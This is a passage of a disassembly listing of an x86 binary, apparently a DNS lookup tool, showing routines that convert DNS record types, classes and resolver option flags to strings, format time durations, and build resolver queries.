; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80604D0:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aAfsdb ; case 0x12
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80604DC:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aX25 ; case	0x13
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80604E8:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aIsdn ; case 0x14
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80604F4:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aRt	; case 0x15
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060500:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aNsap ; case 0x16
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806050C:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aNsap_ptr ;	case 0x17
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060518:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aSig ; case	0x18
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060524:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aKey ; case	0x19
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060530:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aPx	; case 0x1a
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806053C:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aGpos ; case 0x1b
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060548:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aAaaa ; case 0x1c
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060554:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aLoc ; case	0x1d
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060560:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aAxfr ; case 0xfc
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806056C:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aMailb ; case 0xfd
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060578:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aMaila ; case 0xfe
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060584:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aAny ; case	0xff
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060590:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aUinfo ; case 0x64
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806059C:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aUid ; case	0x65
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80605A8:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aGid ; case	0x66
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80605B4:				; CODE XREF: sub_8060004+Ej
					; sub_8060004+14j
					; DATA XREF: ...
		push	edx		; default
		push	offset aD_0	; "%d"
		push	offset unk_807E3D8
		call	sprintf
		mov	eax, offset unk_807E3D8
		mov	esp, ebp
		pop	ebp
		retn
sub_8060004	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80605D0	proc near		; CODE XREF: sub_805F1DC+385p
					; sub_805F7E4+BFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 4
		jz	short loc_80605FC
		jg	short loc_80605E4
		cmp	eax, 1
		jz	short loc_80605F0
		jmp	short loc_8060614
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80605E4:				; CODE XREF: sub_80605D0+Bj
		cmp	eax, 0FFh
		jz	short loc_8060608
		jmp	short loc_8060614
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80605F0:				; CODE XREF: sub_80605D0+10j
		mov	eax, offset aIn	; "IN"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80605FC:				; CODE XREF: sub_80605D0+9j
		mov	eax, offset aHs	; "HS"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060608:				; CODE XREF: sub_80605D0+19j
		mov	eax, offset aAny ; "ANY"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060614:				; CODE XREF: sub_80605D0+12j
					; sub_80605D0+1Bj
		push	eax
		push	offset aD_0	; "%d"
		push	offset unk_807E3EC
		call	sprintf
		mov	eax, offset unk_807E3EC
		mov	esp, ebp
		pop	ebp
		retn
sub_80605D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060630	proc near		; CODE XREF: sub_805F170+2Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 20h
		jz	loc_806070C
		ja	short loc_8060678
		cmp	eax, 4
		jz	loc_80606E8
		ja	short loc_8060660
		cmp	eax, 1
		jz	short loc_80606D0
		cmp	eax, 2
		jz	loc_80606DC
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060660:				; CODE XREF: sub_8060630+1Aj
		cmp	eax, 8
		jz	loc_80606F4
		cmp	eax, 10h
		jz	loc_8060700
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060678:				; CODE XREF: sub_8060630+Fj
		cmp	eax, 100h
		jz	loc_8060730
		ja	short loc_80606A0
		cmp	eax, 40h
		jz	loc_8060718
		cmp	eax, 80h
		jz	loc_8060724
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80606A0:				; CODE XREF: sub_8060630+53j
		cmp	eax, 400h
		jz	loc_8060748
		ja	short loc_80606C0
		cmp	eax, 200h
		jz	loc_806073C
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80606C0:				; CODE XREF: sub_8060630+7Bj
		cmp	eax, 800h
		jz	loc_8060754
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80606D0:				; CODE XREF: sub_8060630+1Fj
		mov	eax, offset aInit ; "init"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80606DC:				; CODE XREF: sub_8060630+24j
		mov	eax, offset aDebug_1 ; "debug"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80606E8:				; CODE XREF: sub_8060630+14j
		mov	eax, offset aAaonlyUnimpl ; "aaonly(unimpl)"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80606F4:				; CODE XREF: sub_8060630+33j
		mov	eax, offset aUsevc ; "usevc"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060700:				; CODE XREF: sub_8060630+3Cj
		mov	eax, offset aPrimryUnimpl ; "primry(unimpl)"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806070C:				; CODE XREF: sub_8060630+9j
		mov	eax, offset aIgntc ; "igntc"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060718:				; CODE XREF: sub_8060630+58j
		mov	eax, offset aRecurs ; "recurs"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060724:				; CODE XREF: sub_8060630+63j
		mov	eax, offset aDefnam ; "defnam"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060730:				; CODE XREF: sub_8060630+4Dj
		mov	eax, offset aStyopn ; "styopn"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806073C:				; CODE XREF: sub_8060630+82j
		mov	eax, offset aDnsrch ; "dnsrch"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060748:				; CODE XREF: sub_8060630+75j
		mov	eax, offset aInsecure1 ; "insecure1"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060754:				; CODE XREF: sub_8060630+95j
		mov	eax, offset aInsecure2 ; "insecure2"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060760:				; CODE XREF: sub_8060630+2Aj
					; sub_8060630+42j ...
		push	eax
		push	offset a?0xLx?	; "?0x%lx?"
		push	offset unk_807E400
		call	sprintf
		mov	eax, offset unk_807E400
		mov	esp, ebp
		pop	ebp
		retn
sub_8060630	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806077C	proc near		; CODE XREF: sub_805F7E4+43Fp
					; sub_805F7E4+460p ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_80607B4
		mov	eax, ds:dword_806992F
		mov	ds:dword_807E428, eax
		mov	ax, ds:word_8069933
		mov	ds:word_807E42C, ax
		mov	al, ds:byte_8069935
		mov	ds:byte_807E42E, al
		jmp	loc_80608B8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80607B4:				; CODE XREF: sub_806077C+Ej
		mov	ecx, 3Ch
		xor	edx, edx
		div	ecx
		mov	[ebp+var_4], edx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_8], edx
		mov	ecx, 18h
		xor	edx, edx
		div	ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, offset dword_807E428
		test	esi, esi
		jz	short loc_8060802
		mov	eax, offset unk_8069937
		cmp	esi, 1
		jnz	short loc_80607EC
		mov	eax, offset unk_8069936

loc_80607EC:				; CODE XREF: sub_806077C+69j
		push	eax
		push	esi
		push	offset aDDayS	; "%d day%s"
		push	ebx
		call	sprintf
		add	esp, 10h

loc_80607FC:				; CODE XREF: sub_806077C+84j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_80607FC

loc_8060802:				; CODE XREF: sub_806077C+5Fj
		test	edi, edi
		jz	short loc_8060836
		test	esi, esi
		jz	short loc_806080E
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_806080E:				; CODE XREF: sub_806077C+8Cj
		mov	eax, offset unk_8069937
		cmp	edi, 1
		jnz	short loc_806081D
		mov	eax, offset unk_8069936

loc_806081D:				; CODE XREF: sub_806077C+9Aj
		push	eax
		push	edi
		push	offset aDHourS	; "%d hour%s"
		push	ebx
		call	sprintf
		add	esp, 10h
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8060830:				; CODE XREF: sub_806077C+B8j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_8060830

loc_8060836:				; CODE XREF: sub_806077C+88j
		cmp	[ebp+var_8], 0
		jz	short loc_8060872
		test	esi, esi
		jnz	short loc_8060844
		test	edi, edi
		jz	short loc_8060848

loc_8060844:				; CODE XREF: sub_806077C+C2j
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_8060848:				; CODE XREF: sub_806077C+C6j
		mov	eax, offset unk_8069937
		cmp	[ebp+var_8], 1
		jnz	short loc_8060858
		mov	eax, offset unk_8069936

loc_8060858:				; CODE XREF: sub_806077C+D5j
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		push	offset aDMinS	; "%d min%s"
		push	ebx
		call	sprintf
		add	esp, 10h
		nop

loc_806086C:				; CODE XREF: sub_806077C+F4j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_806086C

loc_8060872:				; CODE XREF: sub_806077C+BEj
		cmp	[ebp+var_4], 0
		jnz	short loc_8060886
		test	esi, esi
		jnz	short loc_80608B8
		test	edi, edi
		jnz	short loc_80608B8
		cmp	[ebp+var_8], 0
		jnz	short loc_80608B8

loc_8060886:				; CODE XREF: sub_806077C+FAj
		test	esi, esi
		jnz	short loc_8060894
		test	edi, edi
		jnz	short loc_8060894
		cmp	[ebp+var_8], 0
		jz	short loc_8060898

loc_8060894:				; CODE XREF: sub_806077C+10Cj
					; sub_806077C+110j
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_8060898:				; CODE XREF: sub_806077C+116j
		mov	eax, offset unk_8069937
		cmp	[ebp+var_4], 1
		jnz	short loc_80608A8
		mov	eax, offset unk_8069936

loc_80608A8:				; CODE XREF: sub_806077C+125j
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		push	offset aDSecS	; "%d sec%s"
		push	ebx
		call	sprintf

loc_80608B8:				; CODE XREF: sub_806077C+32j
					; sub_806077C+FEj ...
		mov	eax, offset dword_807E428
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806077C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80608C8	proc near		; CODE XREF: sub_804DFE0+76p

var_64		= byte ptr -64h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_1C]
		mov	esi, [ebp+arg_20]
		test	byte ptr dword_807854C,	1
		jnz	short loc_8060900
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8060900
		mov	ds:dword_807E788, 0FFFFFFFFh

loc_80608F4:				; CODE XREF: sub_80608C8+60j
					; sub_80608C8+65j ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_8060ADE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060900:				; CODE XREF: sub_80608C8+16j
					; sub_80608C8+20j
		test	byte ptr dword_807854C,	2
		jz	short loc_8060926
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset aRes_mkqueryDSD ; ";; res_mkquery(%d, %s, %d, %d)\n"
		call	printf
		add	esp, 14h

loc_8060926:				; CODE XREF: sub_80608C8+3Fj
		test	edi, edi
		jz	short loc_80608F4
		cmp	esi, 0Bh
		jle	short loc_80608F4
		push	0Ch
		push	edi
		call	sub_806626C
		mov	[ebp+var_54], edi
		add	esp, 8
		inc	word_8078584
		mov	ax, word_8078584
		xchg	al, ah
		mov	[edi], ax
		mov	al, byte ptr [ebp+arg_0]
		and	al, 0Fh
		shl	al, 3
		and	byte ptr [edi+2], 87h
		or	[edi+2], al
		mov	eax, dword_807854C
		shr	eax, 6
		and	al, 1
		and	byte ptr [edi+2], 0FEh
		or	[edi+2], al
		and	byte ptr [edi+3], 0F0h
		lea	ebx, [edi+0Ch]
		add	esi, 0FFFFFFF4h
		mov	[ebp+var_50], edi
		mov	[ebp+var_4C], 0
		mov	[ebp+var_58], ebp
		cmp	[ebp+arg_0], 1
		jz	loc_8060A70
		jg	short loc_80609A0
		cmp	[ebp+arg_0], 0
		jz	short loc_80609AA
		jmp	loc_80608F4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80609A0:				; CODE XREF: sub_80608C8+C8j
		cmp	[ebp+arg_0], 4
		jnz	loc_80608F4

loc_80609AA:				; CODE XREF: sub_80608C8+CEj
		add	esi, 0FFFFFFFCh
		js	loc_80608F4
		mov	edx, [ebp+var_58]
		push	edx
		lea	eax, [ebp+var_50]
		push	eax
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_804D2A0
		add	esp, 14h
		test	eax, eax
		jl	loc_80608F4
		add	ebx, eax
		sub	esi, eax
		push	ebx
		movzx	eax, word ptr [ebp+arg_C]
		push	eax
		call	sub_804D700
		add	ebx, 2
		push	ebx
		movzx	eax, word ptr [ebp+arg_8]
		push	eax
		call	sub_804D700
		add	ebx, 2
		add	esp, 10h
		mov	edx, [ebp+var_54]
		mov	word ptr [edx+4], 100h
		cmp	[ebp+arg_0], 0
		jz	loc_8060ADA
		cmp	[ebp+arg_10], 0
		jz	loc_8060ADA
		add	esi, 0FFFFFFF6h
		mov	edx, [ebp+var_58]
		push	edx
		lea	eax, [ebp+var_50]
		push	eax
		push	esi
		push	ebx
		mov	edx, [ebp+arg_10]
		push	edx
		call	sub_804D2A0
		add	esp, 14h
		test	eax, eax
		jl	loc_80608F4
		add	ebx, eax
		push	ebx
		push	0Ah
		call	sub_804D700
		add	ebx, 2
		push	ebx
		movzx	eax, word ptr [ebp+arg_8]
		push	eax
		call	sub_804D700
		add	ebx, 2
		push	ebx
		push	0
		call	sub_804D71C
		add	ebx, 4
		push	ebx
		push	0
		call	sub_804D700
		add	ebx, 2
		mov	edx, [ebp+var_54]
		mov	word ptr [edx+0Ah], 100h
		jmp	short loc_8060ADA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060A70:				; CODE XREF: sub_80608C8+C2j
		mov	eax, [ebp+arg_14]
		add	eax, 0Bh
		cmp	esi, eax
		jl	loc_80608F4
		mov	byte ptr [ebx],	0
		inc	ebx
		push	ebx
		movzx	eax, word ptr [ebp+arg_C]
		push	eax
		call	sub_804D700
		add	ebx, 2
		push	ebx
		movzx	eax, word ptr [ebp+arg_8]
		push	eax
		call	sub_804D700
		add	ebx, 2
		push	ebx
		push	0
		call	sub_804D71C
		add	ebx, 4
		push	ebx
		movzx	eax, word ptr [ebp+arg_14]
		push	eax
		call	sub_804D700
		add	ebx, 2
		add	esp, 20h
		cmp	[ebp+arg_14], 0
		jz	short loc_8060AD1
		mov	edx, [ebp+arg_14]
		push	edx
		push	ebx
		mov	edx, [ebp+arg_10]
		push	edx
		call	bcopy
		add	ebx, [ebp+arg_14]

loc_8060AD1:				; CODE XREF: sub_80608C8+1F6j
		mov	edx, [ebp+var_54]
		mov	word ptr [edx+6], 100h

loc_8060ADA:				; CODE XREF: sub_80608C8+139j
					; sub_80608C8+143j ...
		mov	eax, ebx
		sub	eax, edi

loc_8060ADE:				; CODE XREF: sub_80608C8+31j
		lea	esp, [ebp+var_64]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80608C8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060AE8	proc near		; CODE XREF: sub_8060B14+69p
					; sub_8060B14+95p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-30h]
		cmp	eax, 9
		ja	short loc_8060B04
		mov	al, dl
		add	al, 0D0h
		and	eax, 0FFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060B04:				; CODE XREF: sub_8060AE8+Cj
		mov	al, dl
		add	al, 0C9h
		and	eax, 0FFh
		mov	esp, ebp
		pop	ebp
		retn
sub_8060AE8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060B14	proc near

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		jmp	loc_8060BBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060B2C:				; CODE XREF: sub_8060B14+B0j
		cmp	[ebp+arg_8], esi
		jbe	loc_8060BCA
		cmp	dl, 2Eh
		jz	loc_8060BBF
		cmp	dl, 2Bh
		jz	short loc_8060BBF
		cmp	dl, 2Fh
		jz	short loc_8060BBF
		test	dl, dl
		jge	short loc_8060B50

loc_8060B4C:				; CODE XREF: sub_8060B14+66j
					; sub_8060B14+79j ...
		xor	eax, eax
		jmp	short loc_8060BCC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060B50:				; CODE XREF: sub_8060B14+36j
		movzx	ecx, dl
		mov	[ebp+var_8], ecx
		mov	eax, dword_8078FA0
		test	byte ptr [eax+ecx*2+1],	2
		jz	short loc_8060B6A
		mov	eax, dword_8078FA8
		mov	dl, [eax+ecx*4]

loc_8060B6A:				; CODE XREF: sub_8060B14+4Cj
		and	edx, 0FFh
		mov	eax, dword_8078FA0
